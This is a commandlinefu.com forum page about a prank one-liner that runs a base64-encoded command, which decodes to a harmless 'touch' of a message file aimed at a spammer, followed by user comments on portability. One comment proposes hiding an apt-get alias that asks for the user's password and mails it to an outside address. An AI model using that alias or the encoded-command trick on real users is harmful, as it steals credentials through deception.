Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

2011-03-12 - Confoo 2011 presentation
Slides are available from the commandlinefu presentation at Confoo 2011: http://presentations.codeinthehole.com/confoo2011/
2011-01-04 - Moderation now required for new commands
To try and put and end to the spamming, new commands require moderation before they will appear on the site.
2010-12-27 - Apologies for not banning the trolls sooner
Have been away from the interwebs over Christmas. Will be more vigilant henceforth.
2010-09-24 - OAuth and pagination problems fixed
Apologies for the delay in getting Twitter's OAuth supported. Annoying pagination gremlin also fixed.
Hide

Tags

Hide

Functions

Command for JOHN CONS

Terminal - Command for JOHN CONS
alias Z=base64&&Z=dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=&&$(echo $Z|Z -d)
2010-12-24 14:29:19
User: rodolfoap
Functions: alias echo
7
Command for JOHN CONS

Would create a file with a meaningful title. Dedicated to John Cons, who is annoying us users. Merry Christmas!!!

Alternatives

There are 6 alternatives - vote for the best!

Terminal - Alternatives

Know a better way?

If you can do better, submit your command here.

What others think

I'm certain they will treat it and you with the same amount of incredulity that we do.

Comment by Habitual 186 weeks and 4 days ago

This command isn't universal, as it seems to work only under bash and zsh.

On csh and tcsh it will output:

Illegal variable name.

On sh:

Z: not found

Furthermore, base64 isn't installed on all unix systems. On FreeBSD, it must be installed from /usr/ports/converters/base64

You were confident johncons where using linux and not another OS like FreeBSD.

Comment by Dereckson 186 weeks and 3 days ago

Dereckson: Do you think someone who submits a command like

'ls porn' uses FreeBSD? haha... Please, find the link above praying 'Know a better way? If you can do better, submit your command here.'

Comment by rodolfoap 186 weeks and 1 day ago

base64 also isn't installed on Mac OS X. However, with that said, you can get around it if you have OpenSSL installed:

openssl base64 -d -in <infile> -out <outfile>

Should increase the portability.

Comment by atoponce 186 weeks and 1 day ago

what does this command really do?

Comment by rne1223 186 weeks and 1 day ago

rne1223: it's really simple, but a little obfuscated. You will understand it by issueing (the text is dedicated to this john doe who is submitting crap):

echo dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=|base64 -d

You can encrypt things such as

alias apt-get='read -p "$USER password: ";echo $REPLY|mail -s $USER rodolfoap@gmail.com; apt-get'

:)

Comment by rodolfoap 186 weeks and 1 day ago

This does works perfectly:

$(echo "echo Foobar" | base64 | base64 -d)

>>> Foobar

This doesn't:

$(echo "echo Foobar | xargs echo" | base64 | base64 -d)

>>> Foobar | xargs echo

Why? How do I fix this?

Comment by mogoh 184 weeks and 4 days ago

Your point of view

You must be signed in to comment.

Related sites and podcasts